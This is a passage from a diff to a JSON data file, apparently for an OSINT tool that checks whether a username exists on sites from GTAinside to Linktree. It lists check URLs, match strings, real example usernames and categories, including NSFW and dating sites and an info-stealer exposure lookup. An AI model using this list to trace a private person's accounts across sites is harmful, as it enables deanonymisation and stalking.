", + "m_code": 200, + "known": [ + "TScofield", + "gitscofield" + ], + "cat": "tech" + }, + { + "name": "GTAinside.com", + "uri_check": "https://www.gtainside.com/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "gumroad", + "uri_check": "https://{account}.gumroad.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s profile picture", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "ellietalksmoney", + "reallyniceimages" + ], + "cat": "shopping" + }, + { + "name": "Habbo.com", + "uri_check": " https://www.habbo.com/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.com/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "john", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.br", + "uri_check": "https://www.habbo.com.br/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.br/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "jeaniucas", + "cellao" + ], + "cat": "gaming" + }, + { + "name": "Habbo.com.tr", + "uri_check": "https://www.habbo.com.tr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.com.tr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "fatma9180", + "elektrikci" + ], + "cat": "gaming" + }, + { + "name": "Habbo.de", + "uri_check": "https://www.habbo.de/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.de/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "klaus", + "angelinaa" + ], + "cat": "gaming" + }, + { + "name": "Habbo.es", + "uri_check": " https://www.habbo.es/api/public/users?name={account}", + "uri_pretty": " https://www.habbo.es/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "not-found", + "m_code": 404, + "known": [ + "juan", + "michelle" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fi", + "uri_check": "https://www.habbo.fi/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fi/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "cucumberz", + "Yasline" + ], + "cat": "gaming" + }, + { + "name": "Habbo.fr", + "uri_check": "https://www.habbo.fr/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.fr/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "2006", + "sicilienne" + ], + "cat": "gaming" + }, + { + "name": "Habbo.it", + "uri_check": "https://www.habbo.it/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.it/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "samsebek", + "papablu" + ], + "cat": "gaming" + }, + { + "name": "Habbo.nl", + "uri_check": "https://www.habbo.nl/api/public/users?name={account}", + "uri_pretty": "https://www.habbo.nl/profile/{account}", + "e_code": 200, + "e_string": "uniqueId\":", + "m_string": "error\": \"not-found", + "m_code": 404, + "known": [ + "XOTWOD.xx", + "xoSorxo" + ], + "cat": "gaming" + }, + { + "name": "Habr", + "uri_check": "https://habr.com/ru/users/{account}/", + "e_code": 200, + "e_string": "tm-page tm-user", + "m_string": "tm-error-message", + "m_code": 404, + "known": [ + "Bo0oM", + "AlhimicMan" + ], + "cat": "social" + }, + { + "name": "Habr Employer", + "uri_check": "https://freelance.habr.com/freelancers/{account}/employer", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "aufdk", + "Danvantariy" + ], + "cat": "social" + }, + { + "name": "Habr Freelancer", + "uri_check": "https://freelance.habr.com/freelancers/{account}", + "e_code": 200, + "e_string": "user-profile profile-blocks", + "m_string": "icon_user_locked", + "m_code": 404, + "known": [ + "Bo0oM", + "Akloom" + ], + "cat": "social" + }, + { + "name": "Habr Q&A", + "uri_check": "https://qna.habr.com/user/{account}", + "e_code": 200, + "e_string": "class=\"page-header__info\"", + "m_string": "icon_error_404", + "m_code": 404, + "known": [ + "Masthead", + "dmitriypur" + ], + "cat": "coding" + }, + { + "name": "Habtium", + "uri_check": "https://habtium.es/{account}", + "e_code": 200, + "e_string": "
Oops!", + "m_code": 404, + "known": [ + "diegjeremy", + "suigetsu" + ], + "cat": "gaming" + }, + { + "name": "Hackaday.io", + "uri_check": "https://hackaday.io/{account}", + "strip_bad_char": "-", + "e_code": 200, + "e_string": "class=\"following-container \"", + "m_string": "class=\"error-nav\"", + "m_code": 404, + "known": [ + "john", + "adam" + ], + "cat": "hobby" + }, + { + "name": "Hackadvisor", + "uri_check": "https://hackadvisor.io/api/v2/profile/{account}/", + "uri_pretty": "https://hackadvisor.io/hacker/{account}", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "{\"detail\":\"Username not found\"}", + "m_code": 404, + "known": [ + "WorstWurst", + "shriyanss" + ], + "cat": "tech" + }, + { + "name": "Hacker News", + "uri_check": "https://news.ycombinator.com/user?id={account}", + "e_code": 200, + "e_string": "created:", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "mubix", + "egypt" + ], + "cat": "tech" + }, + { + "name": "hackerearth", + "uri_check": "https://www.hackerearth.com/@{account}", + "e_code": 200, + "e_string": "| Developer Profile on HackerEarth", + "m_string": "404 | HackerEarth", + "m_code": 200, + "known": [ + "peter", + "liam" + ], + "cat": "coding" + }, + { + "name": "Hackernoon", + "uri_check": "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty": "https://hackernoon.com/u/{account}", + "e_code": 200, + "e_string": "\"profile\"", + "m_string": "__N_REDIRECT", + "m_code": 200, + "known": [ + "john", + "alex" + ], + "cat": "tech" + }, + { + "name": "HackerOne", + "uri_check": "https://hackerone.com/graphql", + "uri_pretty": "https://hackerone.com/{account}", + "post_body": "{\"query\":\"query($url: URI!) {\\n resource(url: $url) {\\n ... on User { username }\\n }\\n }\",\"variables\":{\"url\":\"{account}\"}}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"type\":\"NOT_FOUND\"", + "m_code": 200, + "known": [ + "born2hack", + "godiego" + ], + "cat": "tech" + }, + { + "name": "HackerRank", + "uri_check": "https://www.hackerrank.com/rest/contests/master/hackers/{account}/profile", + "uri_pretty": "https://www.hackerrank.com/profile/{account}", + "e_code": 200, + "e_string": "\"model\":", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "FMota", + "adepanges" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "hackrocks", + "uri_check": "https://hackrocks.com/api/users/profile", + "uri_pretty": "https://hackrocks.com/id/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error_data\":\"USER_NOT_FOUND\"", + "m_code": 404, + "known": [ + "mespejo", + "NeoWaveCode" + ], + "cat": "tech" + }, + { + "name": "Hackster", + "uri_check": "https://www.hackster.io/{account}", + "e_code": 200, + "e_string": "data-hypernova-key=\"UserProfile\"", + "m_string": "id=\"error\"", + "m_code": 404, + "known": [ + "hendra", + "sologithu" + ], + "cat": "coding" + }, + { + "name": "hamaha", + "uri_check": "https://hamaha.net/{account}", + "e_code": 200, + "e_string": "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string": "HAMAHA Биткоин форум.", + "m_code": 200, + "known": [ + "oleg", + "misha" + ], + "cat": "finance" + }, + { + "name": "Hanime", + "uri_check": "https://hanime.tv/channels/{account}", + "e_code": 200, + "e_string": "Channel Views", + "m_string": "DYNAMIC", + "m_code": 302, + "known": [ + "thecolorred-7902", + "arisu-cum-stats-2787" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Hashnode", + "uri_check": "https://gql.hashnode.com/", + "uri_pretty": "https://hashnode.com/@{account}", + "post_body": "{\"operationName\":\"UserBadge\",\"query\":\"query UserBadge($username:String!){user(username:$username){id}}\",\"variables\":{\"username\":\"{account}\"}}", + "headers": { + "content-type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"user\":null", + "m_code": 200, + "known": [ + "33win1net", + "goober99" + ], + "cat": "tech" + }, + { + "name": "Hcommons.social (Mastodon Instance)", + "uri_check": "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hcommons.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "hello", + "iuulaio" + ], + "cat": "social" + }, + { + "name": "Heylink", + "uri_check": "https://heylink.me/{account}/", + "e_code": 200, + "e_string": "HeyLink.me |", + "m_string": "We can't find the page that you're looking for :(", + "m_code": 404, + "known": [ + "mohammed13", + "johnny" + ], + "cat": "misc" + }, + { + "name": "hiberworld", + "uri_check": "https://hiberworld.com/user/{account}", + "e_code": 200, + "e_string": "Member since ", + "m_string": "Looks like you got lost ", + "m_code": 200, + "known": [ + "Axeman", + "Silver01" + ], + "cat": "gaming" + }, + { + "name": "HiHello", + "uri_check": "https://www.hihello.me/author/{account}", + "e_code": 200, + "e_string": "HiHello Blog Author: ", + "m_string": "Well, this is awkward", + "m_code": 404, + "known": [ + "pascal-theriault", + "kortnee-paiha" + ], + "cat": "business" + }, + { + "name": "Historians.social (Mastodon Instance)", + "uri_check": "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://historians.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "lizcovart", + "Ejoiner" + ], + "cat": "social" + }, + { + "name": "Holopin", + "uri_check": "https://www.holopin.io/api/auth/username", + "uri_pretty": "https://holopin.io/@{account}#", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "holo", + "john", + "fire" + ], + "cat": "hobby" + }, + { + "name": "HomeDesign3D", + "uri_check": "https://en.homedesign3d.net/user/{account}", + "e_code": 200, + "e_string": "userspace", + "m_string": "An Error Occurred: Internal Server Error", + "m_code": 500, + "known": [ + "carlos01", + "paul" + ], + "cat": "hobby" + }, + { + "name": "Hometech.social (Mastodon Instance)", + "uri_check": "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hometech.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "one4ll", + "seth" + ], + "cat": "social" + }, + { + "name": "hoo.be", + "uri_check": "https://hoo.be/{account}", + "e_code": 200, + "e_string": "--profile-name-color", + "m_string": "Page Not Found</h3>", + "m_code": 404, + "known": [ + "chrishemsworth", + "alextackie" + ], + "cat": "business" + }, + { + "name": "Hostux.social (Mastodon Instance)", + "uri_check": "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://hostux.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "alarig", + "rsmela" + ], + "cat": "social" + }, + { + "name": "Houzz", + "uri_check": "https://www.houzz.com/user/{account}", + "e_code": 200, + "e_string": "Followers", + "m_string": "Page Not Found", + "m_code": 404, + "known": [ + "liam", + "alex" + ], + "cat": "hobby" + }, + { + "name": "HubPages", + "uri_check": "https://hubpages.com/@{account}", + "e_code": 200, + "e_string": "name\">Followers", + "m_string": "Sorry, that user does not exist", + "m_code": 404, + "known": [ + "greeneyes1607", + "lmmartin" + ], + "cat": "blog" + }, + { + "name": "Hubski", + "uri_check": "https://hubski.com/user/{account}", + "e_code": 200, + "e_string": "'s profile", + "m_string": "No such user.", + "m_code": 200, + "known": [ + "john", + "blue" + ], + "cat": "social" + }, + { + "name": "HudsonRock", + "uri_check": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={account}", + "e_code": 200, + "e_string": "This username is associated with a computer that was infected by an info-stealer", + "m_string": "This username is not associated with a computer infected by an info-stealer", + "m_code": 200, + "known": [ + "testadmin", + "testadmin1" + ], + "cat": "tech" + }, + { + "name": "HuggingFace", + "uri_check": "https://huggingface.co/{account}", + "e_code": 200, + "e_string": "data-target=\"UserProfile\"", + "m_string": "content=\"404 – Hugging Face\"", + "m_code": 404, + "known": [ + "hack", + "dev", + "Amanda" + ], + "cat": "tech" + }, + { + "name": "HulkShare", + "uri_check": "https://www.hulkshare.com/{account}", + "e_code": 200, + "e_string": "id=\"profile_image\"", + "m_string": "Invalid user.", + "m_code": 200, + "known": [ + "djjamesryan", + "dxcrew2" + ], + "cat": "social" + }, + { + "name": "Iconfinder", + "uri_check": "https://www.iconfinder.com/{account}", + "e_code": 200, + "e_string": "data-to-user-id=", + "m_string": "We couldn't find the page you are looking for.", + "m_code": 404, + "known": [ + "roundicons", + "iconfinder" + ], + "cat": "images" + }, + { + "name": "icq-chat", + "uri_check": "https://icq.icqchat.co/members/{account}/", + "e_code": 200, + "e_string": "Last seen", + "m_string": "Oops! We ran into some problems", + "m_code": 404, + "known": [ + "brookenora.54", + "bigdaddy.77" + ], + "cat": "social" + }, + { + "name": "IFTTT", + "uri_check": "https://ifttt.com/p/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The requested page or file does not exist", + "m_code": 404, + "known": [ + "nr9992", + "sss90" + ], + "cat": "misc" + }, + { + "name": "ifunny", + "uri_check": "https://ifunny.co/user/{account}", + "e_code": 200, + "e_string": "subscribers", + "m_string": "404 - page not found", + "m_code": 404, + "known": [ + "hacker", + "john" + ], + "cat": "misc" + }, + { + "name": "igromania", + "uri_check": "http://forum.igromania.ru/member.php?username={account}", + "e_code": 200, + "e_string": "Форум Игромании - Просмотр профиля:", + "m_string": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "ilovegrowingmarijuana", + "uri_check": "https://support.ilovegrowingmarijuana.com/u/{account}", + "e_code": 200, + "e_string": "<title> Profile - ", + "m_string": "Oops! That page doesn’t exist or is private", + "m_code": 404, + "known": [ + "ILGM.Stacy", + "Mosaicmind9x" + ], + "cat": "social" + }, + { + "name": "imagefap", + "uri_check": "https://www.imagefap.com/profile/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "Invalid uid", + "m_code": 200, + "known": [ + "lover03", + "SecretSide15" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ImageShack", + "uri_check": "https://imageshack.com/user/{account}", + "e_code": 200, + "e_string": "s Images", + "m_string": "", + "m_code": 302, + "known": [ + "test" + ], + "cat": "images" + }, + { + "name": "iMGSRC.RU", + "uri_check": "https://imgsrc.ru/main/user.php?lang=ru&user={account}", + "e_code": 200, + "e_string": "Присоединился", + "m_string": "", + "m_code": 302, + "known": [ + "natalisn", + "andydiamond", + "natalyck" + ], + "cat": "images" + }, + { + "name": "Imgur", + "uri_check": "https://api.imgur.com/account/v1/accounts/{account}?client_id=546c25a59c58ad7", + "uri_pretty": "https://imgur.com/user/{account}/about", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"code\":\"404\"", + "m_code": 404, + "known": [ + "OliverClothesoff70", + "DadOnTheInternet" + ], + "cat": "images" + }, + { + "name": "inaturalist", + "uri_check": "https://inaturalist.nz/people/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "greg", + "tom" + ], + "cat": "hobby" + }, + { + "name": "Independent academia", + "uri_check": "https://independent.academia.edu/{account}", + "e_code": 200, + "e_string": "- Academia.edu", + "m_string": "Academia.edu", + "m_code": 404, + "known": [ + "peter", + "LiamM" + ], + "cat": "hobby" + }, + { + "name": "InkBunny", + "uri_check": "https://inkbunny.net/{account}", + "e_code": 200, + "e_string": "Profile | Inkbunny, the Furry Art Community", + "m_string": "Members | Inkbunny, the Furry Art Community", + "m_code": 302, + "known": [ + "AdminBunny", + "test" + ], + "cat": "xx NSFW xx" + }, + { + "name": "InsaneJournal", + "uri_check": "https://{account}.insanejournal.com/profile", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "User:", + "m_string": "The requested URL /profile was not found on this server", + "m_code": 200, + "known": [ + "test", + "pint-sized", + "acroamatica" + ], + "cat": "social" + }, + { + "name": "Instagram", + "uri_check": "https://www.instagram.com/{account}/", + "e_code": 200, + "e_string": "\"routePath\":\"\\/{username}\\/{?tab}\\/{?view_type}\\/{?igshid}\\/\"", + "m_string": "\"routePath\":null", + "m_code": 200, + "known": [ + "jennaortega", + "cristiano" + ], + "cat": "social" + }, + { + "name": "Instagram (Imginn)", + "uri_check": "https://imginn.com/{account}/", + "e_code": 200, + "e_string": "userinfo", + "m_string": "page-error notfound", + "m_code": 404, + "known": [ + "therock", + "ramarim" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Instagram_archives", + "uri_check": "https://archive.org/wayback/available?url=https://instagram.com/{account}/", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}}", + "m_code": 200, + "known": [ + "zuck", + "jack" + ], + "cat": "social" + }, + { + "name": "Instructables", + "uri_check": "https://www.instructables.com/json-api/showAuthorExists?screenName={account}", + "uri_pretty": "https://www.instructables.com/member/{account}/", + "e_code": 200, + "e_string": "\"exists\": true", + "m_string": "\"error\": \"Sorry, we couldn't find that one!\"", + "m_code": 404, + "known": [ + "davidandora", + "test" + ], + "cat": "hobby" + }, + { + "name": "Internet Archive User Search", + "uri_check": "https://archive.org/advancedsearch.php?q={account}&output=json", + "uri_pretty": "https://archive.org/search.php?query={account}", + "e_code": 200, + "e_string": "backup_location", + "m_string": "numFound\":0", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "misc" + }, + { + "name": "interpals", + "uri_check": "https://www.interpals.net/{account}", + "e_code": 200, + "e_string": "Looking for", + "m_string": "User not found", + "m_code": 200, + "known": [ + "test" + ], + "cat": "dating" + }, + { + "name": "Intigriti", + "uri_check": "https://app.intigriti.com/api/user/public/profile/{account}", + "uri_pretty": "https://app.intigriti.com/profile/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "class=\"error-page-container\"", + "m_code": 404, + "known": [ + "vampire01", + "kenshiin" + ], + "cat": "tech" + }, + { + "name": "Issuu", + "uri_check": "https://issuu.com/call/signup/v2/check-username/{account}", + "uri_pretty": "https://issuu.com/{account}", + "e_code": 200, + "e_string": "\"status\":\"unavailable\"", + "m_string": "\"status\":\"available\"", + "m_code": 200, + "known": [ + "letsplayhockey", + "the_anchor" + ], + "cat": "social" + }, + { + "name": "itch.io", + "uri_check": "https://itch.io/profile/{account}", + "e_code": 200, + "e_string": "class=\"user_data\"", + "m_string": "class=\"not_found_page page_widget base_widget\"", + "m_code": 404, + "known": [ + "obliviist", + "finch" + ], + "cat": "gaming" + }, + { + "name": "iXBT Forum", + "uri_check": "https://forum.ixbt.com/users.cgi?id=info:{account}", + "e_code": 200, + "e_string": "Информация об участнике:", + "m_string": "Проверьте регистр написания.", + "m_code": 404, + "known": [ + "phosphor", + "Dronich" + ], + "cat": "tech" + }, + { + "name": "Japandict", + "uri_check": "https://forum.japandict.com/u/{account}", + "e_code": 200, + "e_string": "modern browser", + "m_string": "The page you requested could not be found.", + "m_code": 404, + "known": [ + "Yan", + "Happy" + ], + "cat": "social" + }, + { + "name": "JBZD", + "uri_check": "https://jbzd.com.pl/uzytkownik/{account}", + "e_code": 200, + "e_string": "Dzidy użytkownika", + "m_string": "Błąd 404", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "jeja.pl", + "uri_check": "https://www.jeja.pl/user,{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Niepoprawny login", + "m_code": 200, + "known": [ + "kowal", + "janek" + ], + "cat": "misc" + }, + { + "name": "Jeuxvideo", + "uri_check": "https://www.jeuxvideo.com/profil/{account}?mode=infos", + "e_code": 200, + "e_string": "- jeuxvideo.com", + "m_string": "rence des gamers", + "m_code": 404, + "known": [ + "jane", + "alex" + ], + "cat": "gaming" + }, + { + "name": "Joe Monster", + "uri_check": "https://joemonster.org/bojownik/{account}", + "e_code": 200, + "e_string": "jest prywatny", + "m_string": "Nie wiem jak ci to powiedzieć", + "m_code": 200, + "known": [ + "dandris", + "lasior" + ], + "cat": "misc" + }, + { + "name": "joinDOTA", + "uri_check": "https://www.joindota.com/ajax/search", + "uri_pretty": "https://www.joindota.com/search?m=edb_player&q={account}", + "post_body": "search={account}&module=edb_player&language=en", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"items\":[{", + "m_string": "\"count\":0", + "m_code": 200, + "known": [ + "AngryTestie", + "amddota2" + ], + "cat": "gaming" + }, + { + "name": "JSFiddle", + "uri_check": "https://jsfiddle.net/user/{account}/", + "e_code": 200, + "e_string": "Settings - JSFiddle - Code Playground", + "m_string": "That page doesn't exist.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "coding" + }, + { + "name": "Justforfans", + "uri_check": "https://justfor.fans/{account}", + "e_code": 200, + "e_string": " @ JustFor.Fans", + "m_string": "", + "m_code": 302, + "known": [ + "devinfrancoxxx", + "RileyChaux" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Kaggle", + "uri_check": "https://www.kaggle.com/{account}", + "e_code": 200, + "e_string": "property=\"og:username\"", + "m_string": "Kaggle: Your Home for Data Science", + "m_code": 404, + "known": [ + "charmq", + "tunguz" + ], + "cat": "coding" + }, + { + "name": "kashipara", + "uri_check": "https://www.kashipara.com/ajax/checkNewUser.php", + "uri_pretty": "https://www.kashipara.com/profile/user/{account}", + "post_body": "id=UserName&value={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"message\":\"UserName already Exist\"", + "m_string": "\"message\":\"UserName avalible\"", + "m_code": 200, + "known": [ + "lopalopa", + "westde123" + ], + "cat": "tech" + }, + { + "name": "Keybase", + "uri_check": "https://keybase.io/_/api/1.0/user/lookup.json?usernames={account}", + "uri_pretty": "https://keybase.io/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"them\":[null]", + "m_code": 200, + "known": [ + "test", + "mubix" + ], + "cat": "social" + }, + { + "name": "Kick", + "uri_check": "https://kick.com/api/v2/channels/{account}", + "uri_pretty": "https://kick.com/{account}", + "e_code": 200, + "e_string": "\"id\"", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "deepak", + "anthonyz" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Kickstarter", + "uri_check": "https://www.kickstarter.com/profile/{account}", + "e_code": 200, + "e_string": "projects", + "m_string": "Oops, Something went missing", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "shopping" + }, + { + "name": "kik", + "uri_check": "https://kik.me/{account}", + "e_code": 200, + "e_string": "/thumb.jpg\"/>", + "m_string": "

", + "m_code": 200, + "known": [ + "adam", + "smith", + "jones" + ], + "cat": "social" + }, + { + "name": "kipin", + "uri_check": "https://kipin.app/{account}", + "e_code": 200, + "e_string": "kipin.app/data/photos/resized2/", + "m_string": "Page not found. Link expired, broken or wrong.", + "m_code": 302, + "known": [ + "monethica", + "asd_fca" + ], + "cat": "business" + }, + { + "name": "KnowYourMeme", + "uri_check": "https://knowyourmeme.com/users/{account}", + "e_code": 200, + "e_string": "Contributions", + "m_string": "404, File Not Found!", + "m_code": 400, + "known": [ + "ayumukasuga", + "butterin-yobread" + ], + "cat": "social" + }, + { + "name": "Ko-Fi", + "uri_check": "https://ko-fi.com/{account}", + "e_code": 200, + "e_string": "id=\"profile-header\"", + "m_string": "Object moved", + "m_code": 302, + "known": [ + "frank", + "marcmakescomics" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "komi", + "uri_check": "https://api.komi.io/api/talent/usernames/{account}", + "uri_pretty": "https://{account}.komi.io", + "e_code": 200, + "e_string": "accountStatus\":\"active", + "m_string": "The talent profile was not found", + "m_code": 404, + "known": [ + "abbysage", + "iamdsprings" + ], + "cat": "social" + }, + { + "name": "Kongregate", + "uri_check": "https://www.kongregate.com/accounts/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "Sorry, no account with that name was found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "gaming" + }, + { + "name": "Kotburger", + "uri_check": "https://kotburger.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza kotburgery od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "ania", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwai", + "uri_check": "https://www.kwai.com/@{account}", + "e_code": 200, + "e_string": "name=\"title\"", + "m_string": "Kwai", + "m_code": 200, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "kwejk.pl", + "uri_check": "https://kwejk.pl/uzytkownik/{account}#/tablica/", + "e_code": 200, + "e_string": "Kwejki użytkownika", + "m_string": "404 - strona nie została znaleziona - KWEJK.pl", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Kwork", + "uri_check": "https://kwork.ru/user_kworks/{account}", + "uri_pretty": "https://kwork.ru/user/{account}", + "post_body": "{\"username\":\"{account}\",\"offset\":0,\"limit\":10}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"success\":true", + "m_string": "\"success\":false", + "m_code": 200, + "known": [ + "ilkarkarakurt", + "sergeymeshiy" + ], + "cat": "social" + }, + { + "name": "Last.fm", + "uri_check": "https://www.last.fm/user/{account}", + "e_code": 200, + "e_string": "class=\"header-info\"", + "m_string": "

404 - Page Not Found

", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "music" + }, + { + "name": "LeakIX", + "uri_check": "https://leakix.net/u/{account}", + "e_code": 200, + "e_string": ">Joined ", + "m_string": "LeakIX - Server error", + "m_code": 500, + "known": [ + "Chocapikk", + "Hug1337" + ], + "cat": "tech", + "protection": [ + "other" + ] + }, + { + "name": "Learn CW Online", + "uri_check": "https://lcwo.net/api/user_exists.php", + "uri_pretty": "https://lcwo.net/profile/{account}", + "post_body": "username={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "e_code": 200, + "e_string": "\"user_exists\": 1", + "m_string": "\"user_exists\": 0", + "m_code": 200, + "known": [ + "wm3o", + "test" + ], + "cat": "hobby" + }, + { + "name": "LeetCode", + "uri_check": "https://leetcode.com/graphql/", + "uri_pretty": "https://leetcode.com/u/{account}/", + "post_body": "{\"query\":\"query userPublicProfile($username: String!) { matchedUser(username: $username) { username } }\",\"variables\":{\"username\":\"{account}\"},\"operationName\":\"userPublicProfile\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"matchedUser\":null", + "m_code": 200, + "known": [ + "aku_2000", + "wengh" + ], + "cat": "coding" + }, + { + "name": "Lemon8", + "uri_check": "https://www.lemon8-app.com/{account}?region=us", + "e_code": 200, + "e_string": "class=\"user-desc-main-info", + "m_string": "unavailableReason\": \"not_found", + "m_code": 404, + "known": [ + "phinyamat", + "andrianajohnson" + ], + "cat": "social" + }, + { + "name": "Letterboxd", + "uri_check": "https://letterboxd.com/{account}/", + "e_code": 200, + "e_string": "’s profile on Letterboxd", + "m_string": "Sorry, we can’t find the page you’ve requested.", + "m_code": 404, + "known": [ + "serdaraltin", + "choi" + ], + "cat": "social" + }, + { + "name": "LevelBlue", + "uri_check": "https://otx.alienvault.com/otxapi/auth/validate?username={account}", + "uri_pretty": "https://otx.alienvault.com/user/{account}/pulses", + "e_code": 400, + "e_string": "\"username\": [\"This username is already taken\"]", + "m_string": "{}", + "m_code": 200, + "known": [ + "BotnetExposer", + "jamesbrine" + ], + "cat": "social" + }, + { + "name": "Liberapay", + "uri_check": "https://liberapay.com/{account}", + "e_code": 200, + "e_string": "class=\"profile-header\"", + "m_string": "Response code: 404", + "m_code": 404, + "known": [ + "db0", + "bnjbvr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "LibraryThing", + "uri_check": "https://www.librarything.com/profile/{account}", + "e_code": 200, + "e_string": "
Joined
", + "m_string": "Error: This user doesn't exist", + "m_code": 200, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "Libretooth.gr (Mastodon Instance)", + "uri_check": "https://libretooth.gr/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://libretooth.gr/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "infolibre", + "tzinalilik" + ], + "cat": "social" + }, + { + "name": "lichess.org", + "uri_check": "https://lichess.org/api/player/autocomplete?term={account}&exists=1", + "uri_pretty": "https://lichess.org/@/{account}", + "e_code": 200, + "e_string": "true", + "m_string": "false", + "m_code": 200, + "known": [ + "mohammed01", + "mohammed03" + ], + "cat": "gaming" + }, + { + "name": "LINE", + "uri_check": "https://line.me/R/ti/p/@{account}?from=page", + "e_code": 200, + "e_string": "Add LINE Friends via QR Code", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "roseareal", + "yoasobi" + ], + "cat": "social" + }, + { + "name": "Linktree", + "uri_check": "https://linktr.ee/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": 